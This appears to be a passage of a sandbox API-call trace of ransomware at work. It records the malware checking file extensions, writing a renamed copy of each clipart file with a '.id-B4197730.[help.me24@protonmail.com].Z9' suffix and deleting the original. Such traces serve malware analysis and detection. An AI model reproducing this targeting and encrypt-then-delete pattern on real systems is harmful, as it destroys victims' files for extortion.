	[0190.970] lstrlenW (lpString=".ppt") returned 4
	[0190.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0190.971] lstrlenW (lpString=".zip") returned 4
	[0190.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.971] lstrlenW (lpString=".rar") returned 4
	[0190.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.971] lstrlenW (lpString=".bz2") returned 4
	[0190.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.971] lstrlenW (lpString=".7z") returned 3
	[0190.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0190.971] lstrlenW (lpString=".dbf") returned 4
	[0190.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0190.971] lstrlenW (lpString=".1cd") returned 4
	[0190.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0190.971] lstrlenW (lpString=".jpg") returned 4
	[0190.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0190.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0190.971] lstrlenW (lpString=".doc") returned 4
	[0190.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.971] lstrlenW (lpString=".docx") returned 5
	[0190.971] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0190.971] lstrlenW (lpString=".pdf") returned 4
	[0190.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.971] lstrlenW (lpString=".xls") returned 4
	[0190.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.971] lstrlenW (lpString=".xlsx") returned 5
	[0190.971] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0190.971] lstrlenW (lpString=".ppt") returned 4
	[0190.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0190.971] lstrlenW (lpString=".zip") returned 4
	[0190.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.972] lstrlenW (lpString=".rar") returned 4
	[0190.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.972] lstrlenW (lpString=".bz2") returned 4
	[0190.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.972] lstrlenW (lpString=".7z") returned 3
	[0190.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0190.972] lstrlenW (lpString=".dbf") returned 4
	[0190.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0190.972] lstrlenW (lpString=".1cd") returned 4
	[0190.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0190.972] lstrlenW (lpString=".jpg") returned 4
	[0190.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.972] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0190.972] lstrlenW (lpString="J0099159.WMF") returned 12
	[0190.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0190.972] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=27546) returned 1
	[0190.972] CloseHandle (hObject=0x340) returned 1
	[0190.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220
	[0190.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0190.973] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.973] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0190.974] GetLastError () returned 0x0
	[0190.974] ReadFile (in: hFile=0x340, lpBuffer=0x381f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesRead=0x2d2fecc*=0x6b9a, lpOverlapped=0x0) returned 1
	[0190.974] WriteFile (in: hFile=0x344, lpBuffer=0x381f020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x6ba0, lpOverlapped=0x0) returned 1
	[0190.976] ReadFile (in: hFile=0x340, lpBuffer=0x381f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.976] WriteFile (in: hFile=0x344, lpBuffer=0x381f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.976] SetEndOfFile (hFile=0x344) returned 1
	[0190.977] CloseHandle (hObject=0x344) returned 1
	[0190.977] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.977] SetEndOfFile (hFile=0x340) returned 1
	[0190.978] CloseHandle (hObject=0x340) returned 1
	[0190.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0190.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1
	[0190.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0190.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0190.978] lstrlenW (lpString=".doc") returned 4
	[0190.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.979] lstrlenW (lpString=".docx") returned 5
	[0190.979] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0190.979] lstrlenW (lpString=".pdf") returned 4
	[0190.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.979] lstrlenW (lpString=".xls") returned 4
	[0190.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.979] lstrlenW (lpString=".xlsx") returned 5
	[0190.979] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0190.979] lstrlenW (lpString=".ppt") returned 4
	[0190.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0190.979] lstrlenW (lpString=".zip") returned 4
	[0190.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.979] lstrlenW (lpString=".rar") returned 4
	[0190.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.979] lstrlenW (lpString=".bz2") returned 4
	[0190.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.979] lstrlenW (lpString=".7z") returned 3
	[0190.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0190.979] lstrlenW (lpString=".dbf") returned 4
	[0190.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0190.979] lstrlenW (lpString=".1cd") returned 4
	[0190.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0190.979] lstrlenW (lpString=".jpg") returned 4
	[0190.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0190.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0190.979] lstrlenW (lpString=".doc") returned 4
	[0190.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.979] lstrlenW (lpString=".docx") returned 5
	[0190.979] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0190.980] lstrlenW (lpString=".pdf") returned 4
	[0190.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.980] lstrlenW (lpString=".xls") returned 4
	[0190.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.980] lstrlenW (lpString=".xlsx") returned 5
	[0190.980] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0190.980] lstrlenW (lpString=".ppt") returned 4
	[0190.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0190.980] lstrlenW (lpString=".zip") returned 4
	[0190.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.980] lstrlenW (lpString=".rar") returned 4
	[0190.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.980] lstrlenW (lpString=".bz2") returned 4
	[0190.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.980] lstrlenW (lpString=".7z") returned 3
	[0190.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0190.980] lstrlenW (lpString=".dbf") returned 4
	[0190.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0190.980] lstrlenW (lpString=".1cd") returned 4
	[0190.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0190.980] lstrlenW (lpString=".jpg") returned 4
	[0190.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.981] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0190.981] lstrlenW (lpString="J0099160.JPG") returned 12
	[0190.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0190.981] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=15145) returned 1
	[0190.981] CloseHandle (hObject=0x340) returned 1
	[0190.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220
	[0190.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0190.982] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.982] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0190.982] GetLastError () returned 0x0
	[0190.982] ReadFile (in: hFile=0x340, lpBuffer=0x381f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesRead=0x2d2fecc*=0x3b29, lpOverlapped=0x0) returned 1
	[0190.983] WriteFile (in: hFile=0x344, lpBuffer=0x381f020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x3b30, lpOverlapped=0x0) returned 1
	[0190.984] ReadFile (in: hFile=0x340, lpBuffer=0x381f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.984] WriteFile (in: hFile=0x344, lpBuffer=0x381f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.984] SetEndOfFile (hFile=0x344) returned 1
	[0190.985] CloseHandle (hObject=0x344) returned 1
	[0190.985] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.985] SetEndOfFile (hFile=0x340) returned 1
	[0190.986] CloseHandle (hObject=0x340) returned 1
	[0190.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0190.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1
	[0190.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0190.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0190.986] lstrlenW (lpString=".doc") returned 4
	[0190.986] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0190.986] lstrlenW (lpString=".docx") returned 5
	[0190.986] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0190.987] lstrlenW (lpString=".pdf") returned 4
	[0190.987] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0190.987] lstrlenW (lpString=".xls") returned 4
	[0190.987] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0190.987] lstrlenW (lpString=".xlsx") returned 5
	[0190.987] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0190.987] lstrlenW (lpString=".ppt") returned 4
	[0190.987] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0190.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0190.987] lstrlenW (lpString=".zip") returned 4
	[0190.987] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0190.987] lstrlenW (lpString=".rar") returned 4
	[0190.987] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0190.987] lstrlenW (lpString=".bz2") returned 4
	[0190.987] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0190.987] lstrlenW (lpString=".7z") returned 3
	[0190.987] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0190.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0190.987] lstrlenW (lpString=".dbf") returned 4
	[0190.987] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0190.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0190.987] lstrlenW (lpString=".1cd") returned 4
	[0190.987] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0190.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0190.987] lstrlenW (lpString=".jpg") returned 4
	[0190.987] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0190.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0190.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0190.987] lstrlenW (lpString=".doc") returned 4
	[0190.987] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0190.987] lstrlenW (lpString=".docx") returned 5
	[0190.987] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0190.987] lstrlenW (lpString=".pdf") returned 4
	[0190.987] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0190.987] lstrlenW (lpString=".xls") returned 4
	[0190.987] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0190.988] lstrlenW (lpString=".xlsx") returned 5
	[0190.988] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0190.988] lstrlenW (lpString=".ppt") returned 4
	[0190.988] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0190.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0190.988] lstrlenW (lpString=".zip") returned 4
	[0190.988] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0190.988] lstrlenW (lpString=".rar") returned 4
	[0190.988] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0190.988] lstrlenW (lpString=".bz2") returned 4
	[0190.988] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0190.988] lstrlenW (lpString=".7z") returned 3
	[0190.988] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0190.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0190.988] lstrlenW (lpString=".dbf") returned 4
	[0190.988] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0190.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0190.988] lstrlenW (lpString=".1cd") returned 4
	[0190.988] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0190.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0190.988] lstrlenW (lpString=".jpg") returned 4
	[0190.988] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0190.988] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0190.988] lstrlenW (lpString="J0099161.JPG") returned 12
	[0190.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0190.989] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=7154) returned 1
	[0190.989] CloseHandle (hObject=0x340) returned 1
	[0190.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220
	[0190.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0190.989] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.989] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0190.992] GetLastError () returned 0x0
	[0190.992] ReadFile (in: hFile=0x340, lpBuffer=0x381f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1bf2, lpOverlapped=0x0) returned 1
	[0190.993] WriteFile (in: hFile=0x344, lpBuffer=0x381f020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1c00, lpOverlapped=0x0) returned 1
	[0190.995] ReadFile (in: hFile=0x340, lpBuffer=0x381f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.996] WriteFile (in: hFile=0x344, lpBuffer=0x381f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.996] SetEndOfFile (hFile=0x344) returned 1
	[0190.996] CloseHandle (hObject=0x344) returned 1
	[0190.996] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.996] SetEndOfFile (hFile=0x340) returned 1
	[0190.997] CloseHandle (hObject=0x340) returned 1
	[0190.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0190.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1
	[0190.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0190.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0190.998] lstrlenW (lpString=".doc") returned 4
	[0190.998] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0190.998] lstrlenW (lpString=".docx") returned 5
	[0190.999] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0190.999] lstrlenW (lpString=".pdf") returned 4
	[0190.999] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0190.999] lstrlenW (lpString=".xls") returned 4
	[0190.999] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0190.999] lstrlenW (lpString=".xlsx") returned 5
	[0190.999] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0190.999] lstrlenW (lpString=".ppt") returned 4
